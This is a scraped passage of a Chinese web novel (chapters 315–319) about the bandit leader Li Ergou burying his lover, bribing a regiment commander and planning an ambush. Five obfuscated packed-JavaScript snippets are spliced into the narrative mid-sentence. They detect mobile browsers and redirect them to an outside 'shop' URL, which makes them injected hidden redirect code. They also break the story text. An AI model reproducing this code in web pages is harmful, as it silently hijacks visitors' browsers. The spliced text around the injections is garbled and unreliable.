慕容雪喜欢蜀葵花。 李二狗选了一块地,挥动铁锨挖了起来。 他丝毫不顾自己手臂上的伤势,新伤、旧伤加上心伤,每一铁锨下去,身体都会传来一阵撕心裂肺的疼痛。 不过这些疼痛感和他的心痛比起来,根本算不得什么。 李二狗就这样挖呀挖,挖了足足两个时辰,终于挖出一个九尺长三尺宽四尺深的墓穴。 他回到茅草屋,沐浴更衣之后,再一次来到床前,慕容雪依然安静地躺在那里。 “狗哥,我带人来了。” 门外传来秀才的声音。 李二狗伏在慕容雪冰冷的尸身前,指尖颤抖着抚过她纯洁的脸颊,那曾带着骄傲又藏着温柔的眼眸,此刻再也不会弯起。 “小雪,我会永远记得你。” 他俯身亲吻了她的额头,然后轻轻地把她抱起,走出房门,放入梨花木的棺材之中。 当棺盖合上的那一刻,李二狗心里仿佛经历了一个完整的春秋。 众人抬起棺材,跟着李二狗来到挖好的墓穴前。 秀才看到李二狗独自一人挖了这么大的一个墓穴,惊讶不已,没想到他是如此深情的一个男人。 “把棺材放进去,你们就可以走了。” 秀才指挥着人小心翼翼地把棺材放入墓穴,他本来想劝解几句,但还是忍住了。 对于男人来说,只有时间才是最好的良药。 “狗哥,那我们先走了,你……节哀。” 李二狗背对着身挥了挥手,秀才带着人离开了。 李二狗拿起铁锨铲了一锨黄土,他的手剧烈地颤抖着,一锨黄土几乎全部抖落在地。 一想到从此和慕容雪阴阳两隔,李二狗心痛的几乎无法站立,他用铁锨支撑着自己的身体,深情凝视着墓穴。 他再一次铲起一锨黄土,手停在空中半响,最终还是把黄土抛撒出去。 当黄土落在棺材上,发出“砰”的一声时,李二狗的魂儿也跟着去了。 他一锨一锨地把黄土撒到墓穴中,一直到墓穴渐渐地填平并最终堆出了一个坟头。 李二狗扔掉铁锨,一屁股坐在地上,继而仰面躺在坟堆上,慢慢地闭上了眼睛。 他做了一个梦,梦里的慕容雪正在温泉池中嬉戏,阳光洒落在她娇嫩的脸上,她是那么近,那么美。 李二狗在山上待了一天一夜,下山后他直接回到胡家大院,关上门睡了一天一夜。 再次出现在众人面前时,他身形消瘦的几乎变了一个人。 “狗哥,你怎么了?” 张二驴几次想进去看看李二狗都没敢进去打扰,他没想到李二狗会消瘦成这个样子。 “我没事,二驴,最近大院有什么事吗?” “大院倒是没什么事,不过前天孙县长派人来找过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096222|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 你,让你去县里一趟。” 李二狗点了点头,便去了于兰芝院里。 “二狗,你这是怎么了?”于兰芝见到李二狗也是大吃一惊。 “去省城办事,没想到生了一场病,”李二狗不想过多解释,便去逗弄梦瑶。 血浓于水,胡梦瑶一见到李二狗便痴痴地笑了起来。 “闺女想你了。”于兰芝笑道。 看着胡梦瑶的笑容,李二狗觉得这个世界上有太多的人需要自己,他再也不能我行我素地活着。 逗弄了一会儿梦瑶,李二狗便去了县城。 来到县政府,孙竹刚见到李二狗也不由得大吃一惊。 “兄弟,你这是怎么了?才几天没见,我都快认不出你来了。” 李二狗解释道:“这几天生了场病,大哥找我什么事?” 孙竹刚看到房门没有关,便起身去把房门关上。 “兄弟,县保安团调回来了。” 李二狗记得县保安团团长叫梁有为,这两年被汤司令征调在外打仗,怎么突然就调回来了? “那得恭喜大哥啊,县保安团一回来,你手里就有兵了。” 孙竹刚则是一脸愁容。 “兄弟有所不知,现在的县保安团已经不是原来的保安团了,以前的团长梁有为因为违反军纪,被汤司令毙了,现在团长叫熊顶天,外号熊瞎子,是汤司令的亲信。” 汤司令把自己的亲信派回来,其中必有蹊跷。 “大哥,看来保安团这次回来是来者不善啊。” “前两天熊瞎子来找我,说奉汤司令的命令,要在咱们江东征集三千名新兵。” 李二狗吓了一跳。 “三千名?咱们江东现在哪有那么多青壮年!” “哎,谁说不是呢,现在南方匪患闹得很凶,咱们省的兵员不仅能吃苦还服从命令听指挥,很受部队欢迎。” “可三千名也太多了。” “所以我才找你来想想办法,兄弟,你得帮帮大哥啊。” 孙竹刚已经习惯遇到困难找李二狗,可李二狗毕竟不是万能的。 第315章 好男不当兵 李二狗眉头紧锁,问道:“他们给了多少期限?” 孙竹刚叹了一口气,说道:“只给了一个月。” 汤司令派保安团回到江东,这明显是在给孙竹刚施加压力,如果完不成任务,汤司令肯定会执行军法,连夏瀚林也救不了他。 “大哥,短时间内我也想不出什么好办法,我看你还是先行动起来,让各乡各村先宣传鼓动鼓动,看看有多少人愿意当兵。” 虽说好男不当兵,好铁不打钉,但遇上这样的灾荒之年,能活下去才是最重要的,当兵无疑是一种活下去的方式。 “哎,也只好先这样了。” 孙竹刚见李二狗也没有办法,内心不免有些失望。 “大哥,今天晚上约约熊瞎子,咱们先探探他的底。” 孙竹刚连忙说道:“好,我现在就去安排。兄弟,看你精神这么差,现在时间还早,要不然你先回家睡一会,让你嫂子包海鲜馅的饺子给你补补身体。” 李二狗最近神思恍惚,根本没有其他方面的兴趣。 “就不去麻烦嫂子了,我还有点事,晚上七点我再过来。” 孙竹刚便没再坚持,只是嘱咐李二狗注意身体。 李二狗从县政府出来,直接去了自己在县城的房子,人在伤心欲绝的时候,什么都不想做,只想睡觉。 一睡解千愁。 恍恍惚惚中他又做了一个梦,梦里的慕容雪正在温泉池中嬉戏,阳光洒落在她娇嫩的脸上,她还是那么近,那么美。 “小雪,小雪。” 李二狗呼唤着慕容雪的名字从睡梦中醒来,身上全是汗。 “小雪,我好想你……” 伤心的泪水再一次从他的脸颊滑落。 心里越是想忘记一个人,反而会记得越清晰,慕容雪之事对李二狗的打击实在是太大了。 来到县政府招待所时,孙竹刚正站在门外等候。 在省外很多地方,一般县长都会兼任县保安团团长,军政合一更有利于工作的开展。 但在省内,因为军事权完全掌握在汤司令手中,各地保安团团长都由他亲自任命,这些保安团团长只会听从汤司令的命令。 而县长则由省政府任命,直接听命于省政府。 县长管行政,团长管军事,两人级别虽相同,但从某种意义上来讲,县长才是一个县的最高长官。 而在实际情况中,若是两人出现意见分歧,往往掌握军权的人更有话语权。 枪杆子里面出政权! 孙竹刚亲自在门口等候熊顶天,在某种意义上是一种放低姿态。 由于李二狗并不了解熊顶天是什么性格,对于孙竹刚的主动示好,李二狗并没有表示反对。 不管是什么性格,县长主动示好,对方都应该领情。 一直到了七点十五分,熊顶天还是没有出现。 “熊团长真是好大的架子,你约他吃饭他竟然到现在还不到。” 孙竹刚尴尬地一笑:“现在是咱们有求于人,多等会就多等会吧。” 一直快到七点半,熊顶天才姗姗来迟。 熊顶天身高足有两米开外,活像一座黑铁塔杵在那儿。 肩宽背厚的身躯上满是肌肉,胳膊粗得赛过常**腿,每走一步仿佛都震得地面微微发颤。 他生着一张方方正正的国字脸,络腮胡根根如钢针,铜铃似的眼睛眼尾上挑,看人时眼神凶戾又带着不屑,总把下巴抬得老高,鼻孔朝天透着盛气凌人。 嗓门更是像炸雷,开口时唾沫星子乱飞,那股子粗鲁蛮横的劲儿,任谁见了都得退避三分。 “孙县长,让你久等了。” 熊顶天只是抱拳客套了一下,并没有做任何解释,对于孙竹刚旁边的李二狗,他更是连一个正眼都没给。 县长他都不放在眼里,更何况是他的马弁。 孙竹刚则是惯常的满面笑容。 “熊团长军务繁忙,能拨冗前来就是给我孙某人天大的面子,快请进。” 熊顶天也不客气,仰头挺胸率先走了进去。 孙竹刚对着李二狗摊了摊手,尴尬一笑,赶紧跟了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096223|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' br>到了包厢,熊顶天直接一屁股坐在主位上,然后傲慢地指了指自己旁边的座位,说道:“孙县长别站着啊,快坐。” 孙竹刚自从当上县长,在江东地界上还从未如此低三下四过。 虽然依旧保持着笑容,但脸上的肌肉却不经意间跳动了几下。 如果现在能掐死熊顶天,他肯定会毫不犹豫地动手。 孙竹刚坐在熊顶天旁边的椅子上,向李二狗挥了挥手。 “二狗,坐。” 李二狗选择坐在熊顶天对面的椅子上。 你不是看不见老子吗?老子偏要坐在你对面。 “熊团长,我给你介绍,这位是仙人洞镇胡家大院的管家李二狗,是我的好兄弟。” 孙竹刚故意在最后加上是我的好兄弟,也是为了抬高李二狗的身份。 但他忘记了,熊顶天连你都不放在眼里,何况是你的什么好兄弟? 熊顶天本来以为穿得人模狗样的李二狗是县政府的副职或者一个重要部门的局长,没想到竟是一个乡下地主大院的管家。 如此身份的人竟然敢上桌和自己吃饭,实在是不知道天高地厚。 “李管家?哈哈,原来是李管家,哈哈!” 李二狗从内心深处很鄙视熊顶天这种不知道天高地厚的家伙,但这种人在李二狗眼里就是一摊狗屎。 面对他的讥笑,李二狗根本没放在心上。 倒是孙竹刚,作为一县之长,对于熊顶天的讥讽,脸上却有些挂不住了。 打狗还得看主人,自己特意声明李二狗是自己的好兄弟,熊顶天竟然一点面子都不给。 不给李二狗面子,就是不给他孙竹刚面子。 但毕竟是自己有求于人,孙竹刚还是不愿意当面和熊顶天翻脸。 看孙竹刚阴着一张脸,李二狗适时给他使了个眼色,示意他稳住,好鞋不踩臭狗屎,没必要和他当面撕破脸。 不过孙竹刚觉得熊顶天是一个势利的小人,对待这种人不能只是一味地客气,必须拿出点真东西才能镇住他。 第316章 一点小意思 孙竹刚换了一副笑脸,说道:“熊团长您有所不知,李管家和省政府夏主席是忘年交,同时也是吴有德吴爷的干儿子。” 熊顶天这才正眼看了一眼李二狗,他没想到一个小小地主大院的管家竟有如此深厚的背景,怪不得能和孙竹刚称兄道弟,自己还真是有点小瞧了他。 不过吴有德已离开政界多年,如今早已不是他的时代,至于夏瀚林,在省内放个屁都不响,只不过是汤司令的一个傀儡罢了,根本不足为惧。 熊顶天内心虽然还是看不起李二狗,但李二狗多重身份加身,现在已经有了上桌和自己吃饭的资本。 “孙县长,征兵的事你还得抓抓紧,一个月之后我一定要带三千名新兵走,这是汤司令下达的死命令。” 熊顶天知道孙竹刚此番邀请自己的目的,所以一开始就主动挑明征兵是汤司令的死命令。 好在李二狗提前已有交代,孙竹刚笑道:“熊团长请放心,汤司令的命令谁敢违抗?兄弟我一定尽力而为,今天咱们只喝酒,不谈公事。” 孙竹刚一番话倒让熊顶天有些意外,不谈公事只喝酒?孙竹刚葫芦里到底卖的什么药?天底下根本就没有免费的午餐。 孙竹刚既然不提,熊顶天便决定见招拆招,他豪爽地说道:“好,咱们只喝酒,不谈公事。” 孙竹刚端起酒杯,说道:“熊团长,您带领保安团回来,我这两年一直悬着的心总算落了下来,有熊团长在,再也不用担心那些土匪来骚扰,我终于可以睡个安稳觉了,来,我敬熊团长一杯。” “哈哈,几个小**贼罢了,孙县长不必担心,有我老熊在,他们早吓得屁滚尿流了,哈哈。” “熊团长的威名谁人不知道,谁人不晓?别说区区几个土匪,就是南方的**见了您熊团长也得绕着走,我敬您。” 熊顶天被夸得心花怒放,豪爽地说道:“哈哈,孙县长过誉了,来,干了!谁不干谁是狗吊!” 菜过三巡,酒过五味之后,熊顶天已经喝得满面红光。 李二狗拿出一个小锦盒,特意放到熊顶天面前。 “熊团长,这是我和孙县长的一点小意思,请您笑纳。” 熊顶天乜斜着双眼,有些不屑地看了李二狗一眼,心想,你一个小小的地主大院管家,能有什么好礼相送? 他打开锦盒,发现里面竟是十根金灿灿的金条,顿时对李二狗刮目相看。 他实在没想到一个地主大院的管家出手竟如此大方,以前确实是小瞧他了,他还从未一次收过这么重的礼。 “这怎么好意思啊?孙县长和李管家太客气了,哈哈。” 孙竹刚说道:“区区薄礼,实在是拿不出手,还望熊团长不要嫌弃。” 熊顶天也是实在人,当然知道孙竹刚送自己这么重的一份礼是为了什么,好在他早有准备。 其实汤司令对江东下达的征兵任务只有一千人,熊顶天之所以说三千人就是为了和孙竹刚讨价还价。 即使孙竹刚不讨价还价,如果能征到三千名新兵,汤司令肯定会对自己刮目相看。 这种层层加码的把戏并不高明,但自古皆有。 “孙县长,你这实在是让我太为难了,你知道,汤司令下达的是死命令,兄弟我真是没有办法,你这礼我实在是不敢收,你还是收回吧。” 熊顶天把锦盒推向孙竹刚,但眼睛却一直没有离开锦盒。 “熊团长,刚才都已经说过了,咱们今天只喝酒不谈公事,这份见面礼完全是出于咱们之间纯洁的友谊,没有其他目的,熊团长千万不要多想,请熊团长务必收下。” 熊顶天当即对孙竹刚刮目相看,自己本来想在推来推去之间增加砝码,没想到孙竹刚根本没提任何要求,这让他有点措手不及。 “孙县长对我熊某人如此看重,我也不能不讲义气。这样吧,这次征兵任务我给你们江东减少五百个名额,孙县长,你看怎么样?” 孙竹刚心里暗骂熊顶天无耻,十根金条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102167|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 只减五百人,但脸上流露出来的则是感动不已。 他紧紧地握住熊顶天的手,感谢道:“熊团长真是令我孙某人感动,您对我的这份深情厚谊,我真是不知道该如何报答,不说了,都在酒里,我敬您。” 熊顶天没想到孙竹刚根本不讨价还价,他本来以为孙竹刚会要求减少一千个名额。 十根金条,减少一千个名额,已经超出了熊顶天的心理价码。 但对于李二狗来说,不管是减少五百个名额还是一千个名额,在他的计划里根本无关紧要,因为他的目标是一个江东子弟都不给。 各地征兵无休无止,这次是三千人,下次可能就是五千人,江东的女人就是日夜不停地生,也赶不上征兵的进度。 “孙县长,李管家,你们真是令我感动,来,干了!” 三人接着又干了一杯酒。 这时李二狗突然叹息一声,神情十分凝重。 “李管家何以叹气啊?” 李二狗再次叹息一声,说道:“让熊团长笑话了,我只是想起一些往事。” 熊顶天顿时来了兴致,问道:“奥?什么往事能让李管家如此伤感,我倒是想听听。” 李二狗有些为难地说道:“哎,说出来不过是徒增烦恼,不说也罢,省得让熊团长笑话。” 孙竹刚插话道:“二狗,这里没有外人,有什么话就说出来,熊团长在这里,什么事还解决不了?我和熊团长替你做主!” 李二狗越是不说,熊顶天越是好奇,他生平一大乐事就是喜欢看别人笑话。 “是啊,李管家有话但说无妨,我解决不了,还有孙县长嘛,一个县长一个团长,江东还有什么事解决不了?” 李二狗脸上依旧显得十分为难。 “说出来实在是丢人,哎!” “二狗,熊团长又不是外人,说吧,我们给你做主。” 李二狗再次叹了一口气,说道:“不瞒二位领导,前段时间,我们胡家大院又被土匪**了。” 第317章 熊顶天决定剿灭霸虎寨 “真是岂有此理!”孙竹刚拍案而起,“这群土匪真是越来越无法无天,根本不把江东县政府和保安团放在眼里。” 熊顶天倒是显得很淡定,土匪**地主大院并不是什么值得大惊小怪的事情。 李二狗暗中观察着熊顶天的脸色,一切都在他预料之中。 “我们胡家大院不是第一次被土匪**,可这次的损失实在是太大了。” “奥?”李二狗的话成功引起了熊顶天的兴趣,“什么损失?” “土匪发现了我们胡家大院的暗室,大量的金条大洋被抢不说,关键是有一件无价之宝也被土匪抢了去!” 孙竹刚故意显得很惊讶。 “无价之宝?什么无价之宝?” “一尊玉座金佛,三尺多高,听说以前是前清和珅的镇宅之宝,价值连城,实在是太可惜了!” 熊顶天暗中盘算着一座三尺多高的玉座金佛的价值,确实是价值连城。 相传当年东晋刘裕有一座镇宅的的玉座金佛,才一尺多高,而这个则是三尺多高! “是哪群土匪吃了熊心豹子胆,敢在本团长眼皮子底下**?” “霸虎寨。” “霸虎寨?” 熊顶天之前并没有听说过霸虎寨的名字,他只知道江东最大的土匪山寨叫清风寨。 “是的,霸虎寨是最近新崛起的土匪山寨,领头的唤作黄飞虎,听说以前是东北军的军官,此人心狠手辣,东北陷落之后辗转逃到转经山落草为寇。这群土匪平时为非作歹,无恶不作,百姓苦之久矣!” 熊顶天猛地一拍桌子,吓得孙竹刚打了一个哆嗦。 “这群土匪实在是可恶!丢了东三省,还有脸跑到咱们江东地界上作恶?不除不足以平民愤!” 李二狗惊喜异常。 “熊团长,您真的愿意带兵剿灭霸虎寨吗?” “区区一个霸虎寨,老子分分钟灭了他们!” 孙竹刚赞道:“熊团长真是爱民如子啊,这个霸虎寨为非作歹,熊团长能为江东百姓除了这一害,我一定带领江东百姓为您竖碑立像。” “竖碑立像不足以表彰熊团长的丰功伟绩,我认为熊团长配享太庙!” 熊顶天被夸得有些飘飘然。 “区区小事,何足挂齿!待我明日亲自带兵,一举荡平霸虎寨!” “熊团长威武,我代表江东百姓感谢您。” 在孙竹刚和李二狗的连番恭维声中,熊顶天喝得酩酊大醉。 孙竹刚命人把熊顶天扶到一间屋子去休息。 “大哥,我得赶紧回去准备一下,看熊顶天这个熊样子最快也得后天才能行动。” “兄弟,你那边能行吗?县保安团可是有五百多人,千万不可小觑,要是把自己搭进去可就得不偿失了。” 李二狗微微一笑。 “别说他五百多人,就是再多个两三倍,我也定让他有去无回,大哥你就擎好吧!” 孙竹刚没想到李二狗的实力已经强大到如此地步,幸好他是自己的好兄弟,不然自己这个县长也当不安稳。 “兄弟,你还是小心一点,等灭了熊瞎子,我让你嫂子包海鲜馅的饺子好好犒劳犒劳你。” 听到海鲜馅的饺子,李二狗浑身打了个哆嗦。 “谢谢大哥,那我先回了,等后天一早我再回来,领着他们奔赴黄泉。” 李二狗之所以选择霸虎寨而不是清风寨,除了霸虎寨地形更加险峻之外,还在于清风寨已经经营多年,各项基础设施完备,他不想让它毁于炮火之中。 而霸虎寨则不同,里面建筑简陋且十分荒凉,李二狗正打算重建,根本不怕炮火。 本次诱使县保安团进攻霸虎寨,除了解决征兵之事之外,更重要的是李二狗需要县保安团的那些武器**和人员装备。 现在的清风寨下辖青山寨、霸虎寨,人数已经扩充到三四百人,他不能让兄弟们扛着烧火棍保卫山寨。 李二狗回到清风寨已是深夜。 回到家里,**已经躺下。 “二狗,这么晚了,你怎么回来了?” 陈老三等人深知李二狗的性格,霸虎寨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102168|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 之事他们绝不敢向**透露半个字,**并不知道慕容雪的存在。 秀才为了以防万一,特意叮嘱陈老三也不要向望冬提及此事。 “去县城办了点事,明天一早开寨务会,有要事要研究。” 李二狗说着便脱衣服进了被窝,他伸手从后面抱住**。 **吃了一惊,要不是她对李二狗的声音十分熟悉,她几乎不能相信,抱着自己的这个男人是李二狗。 “二狗,你怎么了?怎么身上都是伤口?而且瘦了这么多!” **连忙起身点燃煤油灯,灰暗的灯光下是李二狗一张削瘦的脸庞。 她双手抚摸着李二狗的脸颊,眼神里充满了疼惜。 “你怎么瘦成这个样子?到底发生了什么?” 李二狗感觉心底一阵刺痛,他对不起的女人实在是太多了。 他笑了笑,说道:“你不要担心,我只不过是生了一场病,在床上躺了几天,现在已经好了。” **流着泪说道:“你骗人!那你身上的伤是怎么回事?” 李二狗只能说道:“前两天和霸虎寨的土匪起了冲突,你放心,只是一些皮肉伤,不碍事的。” **把头靠在李二狗的胸膛,她总是觉得自己和李二狗的心之间隔着一段距离。 “二狗,你爱我吗?” 李二狗心里一阵抽搐。 他爱**吗?应该是爱的! 可爱**的同时,为何还对其他女人魂牵梦绕? 这还是爱吗?爱不应该是排他吗? 李二狗抚摸着**的头,温柔地说道:“傻瓜!怎么会问这种傻问题?我当然是爱你的。” “你只爱我一个女人,对吗?” 李二狗心里仿佛被千万根钢针扎的鲜血淋漓。 “对,我只爱你一个女人!” “今生今世都不会变,对吗?” “对,不会变!” “二狗,我也爱你,往后余生,我只爱你一个男人!” 李二狗紧紧地抱着**,这一刻,他觉得自己是一个十足的渣男! 第318章 李二狗布阵迎敌 第二天一大早,李二狗在清风寨议事厅召开紧急会议。 “秀才,老三怎么没来?” 秀才说道:“狗哥,你忘了?三哥前段时间被你逐出寨务会,现在负责看守寨门。” 李二狗真忘了这档子事。 “赶紧派人去把老三叫来,装**什么大尾巴狼!” 秀才心想,你不让他来,他敢来吗? 不过,在如此短的时间内,李二狗就恢复了陈老三的职务,可见二人关系确实非同一般。 秀才赶紧出去吩咐人去叫陈老三。 陈老三得到消息,一溜烟跑进议事厅。 “狗哥,我来了。” 他大口大口地喘着粗气,拘谨地站在李二狗面前却不敢坐下。 事态紧急,李二狗不想扯闲蛋,便指了指自己的下首,也就是以前陈老三坐的位置。 “别**站着了,坐下!” 陈老三挨了骂,心里却像吃了蜜糖一般开心。 李二狗正色道:“我昨晚刚从江东县城回来,县保安团团长熊顶天计划明日进攻霸虎寨。” 此言一出,举座皆惊。 陈老三坐在原来的位置上,底气便壮了很多,李二狗话音刚落,他便嘲笑道:“狗哥,熊顶天是不是下雨没打伞——脑子进水了?霸虎寨都被咱们灭了,他进攻霸虎寨做什么?为了那点麦子?” 李二狗鄙夷地看了他一眼,陈老三确实是没有脑子。 秀才则和陈老三看法不同,他虽然也没明白熊顶天为何要清剿清风寨,但李二狗一大早就召集紧急会议,肯定有他道理。 “秀才,现在霸虎寨什么情况?” 秀才娓娓道来。 “从东北来的那帮人,死的死伤的伤,几乎被全部消灭,只留下一个人,叫孙小雨,是慕容雪的丫鬟,她请求留下来,至于以后怎么安排,还得请狗哥定夺。” 对于孙小雨,李二狗肯定不会让她加入清风寨娘子军,那等于给自己身边安放了一颗定时**。 “其他人呢?” “其他人不太了解咱们清风寨,经过他们自愿选择,大部分人选择下山,按照惯例,我给他们每人发放了五块大洋的路费,现在霸虎寨还有一百二十九人。” “财产什么状况?” “一共查抄了两万零五百五十三块大洋,金条四十五根,麦子总共装了两千四百六十五麻袋。” 秀才如数家珍地汇报着,李二狗频频点头,其他人则低着头,自惭形秽。 “按照你的安排,霸虎寨的小麦已经全部分给了部分受害的佃户,同时把霸虎寨卖麦子挣的钱分给了另外一些没有分到麦子的佃户,剩下的大洋和今条已经全部搬到清风寨并已登记入账。我昨晚刚从霸虎寨回来,现在寨子由朱老四暂时负责。” 李二狗对秀才很满意,自从宋孬蛋去省城军校深造之后,山寨日常事务基本由秀才负责。 对于朱老四,李二狗是了解的,他的能力不足以领导一个山寨,但他这次立了大功,李二狗又不得不给他一个位置。 全面了解了霸虎寨的情况后,李二狗开始安排任务。 “这次保安团清剿霸虎寨,是我向熊顶天主动提出的。” 大家听罢震惊不已,他们怀疑李二狗是因为慕容雪的死失去了理智。 大家的反应在李二狗的意料之中。 “大家不要觉得我是脑子进水了,咱们和县保安团早晚会有一战,与其到时候被动应战,不如现在主动出击。” 大家没有说话,静静等待李二狗下一步的安排。 “老三,散会之后你马上安排人,把后山的两门大炮抬到霸虎寨,在后山找个隐蔽的地方安装好。” “好的,狗哥,我亲自带人去办。” “嘎子,你带领清风寨一百名兄弟埋伏在转经山脚下的那片树林里,记住,一定要隐藏好,保安团上山的时候千万不可暴露,等他们从山上撤退的时候,你们一定要截断他们的后路,务必全歼。” “放心吧,狗哥。” “石头,你带领青山寨的弟兄埋伏在上山小路两侧的密林中,待保安团下山的时候,让弟兄们给我狠狠地打,记住,只准射击,不许冲出来。夜黑路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106792|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 窄,冲出来会有不小的伤亡。” “放心吧,狗哥,保证完成任务。” 李二狗又看向秀才。 “秀才,你带领霸虎寨的所有弟兄,把寨子里所有的麦秸堆成至少二百个麦垛,平均分布在山寨广场及其周围,每个麦垛下面堆上**,便于快速点燃。” 秀才脸上刚露出疑惑的表情,李二狗继续说道:“安排一些兄弟分布在麦垛外围,提前准备好弓箭,箭头上全部缠上蘸了煤油的布条,两人一组,一人负责点,一人负责射。听到号令之后,半分钟之内必须点燃全部麦垛。” 秀才点了点头,总算明白了李二狗的意思。 霸虎寨武器装备落后且数量极其有限,人员战斗素质更是低下,他们根本没有和县保安团对抗的能力,李二狗的这个计划能最大限度地减少自身伤亡并能给予敌人致命一击。 李二狗不愧是李二狗! 李二狗继续交待道:“老三,你把大炮安装好之后,在寨门到广场之间选择一个位置,位置不要太靠近寨门,挖一条宽一米深两米的壕沟,壕沟里面全部堆上木柴,木柴上面浇上煤油,然后再用木板把壕沟盖上,上面埋上一层土,一定不要被人看出来。” 以陈老三的智商他当然听不明白李二狗为什么这样安排,他静静地等待着李二狗的进一步安排。 “等保安团的人全部进入广场,麦垛全部点燃之后,他们肯定会不顾一切地往寨门方向冲,到时候你就安排人把壕沟里的木柴全部点燃,延缓他们冲出山寨。” 陈老三点了点头,保证道:“狗哥放心,我会把他们全部变成烤乳猪。” 李二狗瞪了陈老三一眼,继续安排道:“挖好壕沟之后,你在寨门外边的那片平地上埋设**。” “埋多少?” “平均一步埋一颗,你看着办。这些**要等他们从山寨里面撤出来的时候再拉弦,记住!千万不可提前暴露。” (好消息!好消息!本小说改编的漫剧《烽火大院》已在番茄小说、红果等平台上线,敬请关注!) 第319章 朱老四违反寨规第一条 “狗哥,咱们何不在他们上山的时候直接和他们干?霸虎寨占据有利地形,保安团占不着便宜的,根本攻不上来,何必如此大费周折,还把霸虎寨烧了?” 李二狗本想痛骂陈老三一顿,但还是忍住了,他必须以德服人。 “老三,你的脑子里面都是浆糊吗?和保安团硬刚,咱们有多大的把握能战胜他们?他们手里拿得是什么武器?咱们又是什么武器?更何况他们都上过战场打过仗,人数又在咱们之上,即使咱们占据有利地形侥幸取胜,最后不也得拼个你死我活吗?” 陈老三不说话了,和李二狗比起来,他的想法确实是太幼稚了。 李二狗最后问道:“大家还有不明白的地方吗?” 陈老三左顾右盼,很显然心里还有话要说。 “老三,你有话就说,有屁就放,看别人干什么?” 陈老三摸了摸头,有些结巴地说道:“狗哥,那两门大炮费那么大的劲拉到霸虎寨,到底用不用啊?” 李二狗倒把这件事忘了,即使忘了,他不能说自己忘了,否则会影响自己的权威。 “那两门大炮是以备不时之需,不用当然最好。” 众人对李二狗无不佩服的五体投地,连最坏的情况他都提前做好了准备,这样的人天生就是当老大的命。 “大家还有什么意见没有?” 大家都没有说话,脸上都是一副跃跃欲试、迫不及待地表情。 “好,既然大家没有意见,那就分头准备吧!记住,遇到紧急情况要随机应变,我的要求只有一个,尽可能减少咱们自身的伤亡,兄弟们把命交给咱们,咱们一定不要辜负了他们的信任。” 散会后,李二狗叫住秀才。 “秀才,你和我一起去趟霸虎寨。” 路上,秀才说道:“狗哥,有件事得和你说一下,那个朱老四……” 秀才欲言又止。 “朱老四怎么了?” “他逢人便说和你关系非同一般,还说清风寨能顺利拿下霸虎寨,主要是他的功劳,现在俨然一副霸虎寨大当家的样子。” 可怜之人必有可恨之处,这个朱老四平时一副唯唯诺诺的样子,没想到得志便猖狂。 “朱老四这次毕竟立了功,咱们又刚接手霸虎寨不久,对他的安排会影响其他人的看法,还是得谨慎一点。” 秀才说道:“但是朱老四的能力不足以领导一个山寨,我怕他毁了霸虎寨。” 李二狗笑道:“秀才,你觉得我是那么糊涂的人吗?谁说让他领导霸虎寨了?等我们重建霸虎寨之后,我准备把他交给你。” 秀才听后立刻翻身下马,纳头便拜。 霸虎寨的面积比清风寨大两三倍,地形也更加险要,他实在想不到,李二狗会把这么重要的山寨交给自己管理。 